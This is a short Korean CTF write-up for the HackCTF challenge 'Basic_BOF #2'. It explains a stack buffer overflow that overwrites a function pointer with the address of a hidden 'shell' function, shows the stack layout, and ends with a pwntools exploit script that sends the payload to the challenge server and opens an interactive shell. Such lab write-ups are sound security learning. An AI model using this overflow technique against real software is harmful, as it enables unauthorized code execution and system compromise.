Pwnable/HackCTF

Basic_BOF #2

Lucvs 2020. 8. 28. 17:44

v5가 함수 포인터로 선언되어 있으므로 v5 자리에 쉘을 실행시키는 함수를 넣으면 될 것 같다. gdb로 분석하여 다른 함수들이 존재하는지 살펴보자.

 

이번 문제는 gdb와 ida로 분석해보면 함수 목록중에 shell 이라는 함수가 존재한다. 이 부분을 살펴보자.

 

역시 쉘을 실행시키는 함수가 있다. 이 함수의 주소를 찾아서 v5 자리에 덮어주면 쉘이 실행될 것이다.

 

—————————— High Address

| ret(4) |

——————————

| sfp(4) |

—————————— ← ebp

| dummy |

——————————

| v5 |

—————————— ← ebp - 0xc

| dummy |

——————————

| s |

—————————— Low Address ← ebp -0x8c

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3001)

payload = "\x90"*128 + "\x9b\x84\x04\x08"

r.sendline(payload)
r.interactive()